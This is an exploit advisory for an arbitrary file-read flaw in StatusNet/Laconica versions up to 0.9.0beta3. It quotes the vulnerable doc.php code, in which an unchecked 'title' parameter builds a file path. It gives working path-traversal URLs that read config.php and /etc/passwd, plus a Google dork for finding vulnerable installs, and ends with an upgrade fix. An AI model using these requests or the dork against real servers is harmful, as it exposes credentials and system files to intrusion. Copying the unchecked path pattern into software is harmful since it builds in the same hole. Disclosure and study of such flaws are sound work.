扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
+-------------------------------------------------------------------------------+ + StatusNet/Laconica <= 0.7.4, <= 0.8.2, <= 0.9.0beta3 - arbitrary file reading + +-------------------------------------------------------------------------------+ # Date: - 10/10/2013 # Exploit Author: - spiderboy # Vendor Homepage: - http://status.net/ # Software Links: - http://status.net/laconica-0.7.4.tar.gz - http://status.net/statusnet-0.8.2.tar.gz - http://status.net/statusnet-0.9.0beta3.tar.gz # Version: - Branch 0.7.X : <= 0.7.4 - Branch 0.8.X : <= 0.8.2 - Branch 0.9.X : <= 0.9.0beta3 # Tested on: - Unix/Linux # Category: - Webapps # Platform: - php # Advisories : - http://status.net/wiki/Security_alert_0000002 - http://osvdb.org/show/osvdb/95586 # Google Dork: - "It runs the StatusNet microblogging software, version 0.8.2" # Vendor product description: - Free and Open Source social software # Vulnerable code: - actions/doc.php: -------------------------------------------------------------------- function handle($args) { parent::handle($args); $this->title= $this->trimmed('title'); $this->filename = INSTALLDIR.'/doc-src/'.$this->title; //[1] if (!file_exists($this->filename)) { $this->clientError(_('No such document.')); return; } $this->showPage(); } -------------------------------------------------------------------- [1] : No check on user-supplied parameter $this->title # Proof of concept: - http://[host]/index.php?action=doc&title=../config.php - http://[host]/index.php?action=doc&title=../../../../../../../../etc/passwd # Solution: - Upgrade to latest version : http://status.net/download |
体验盒子
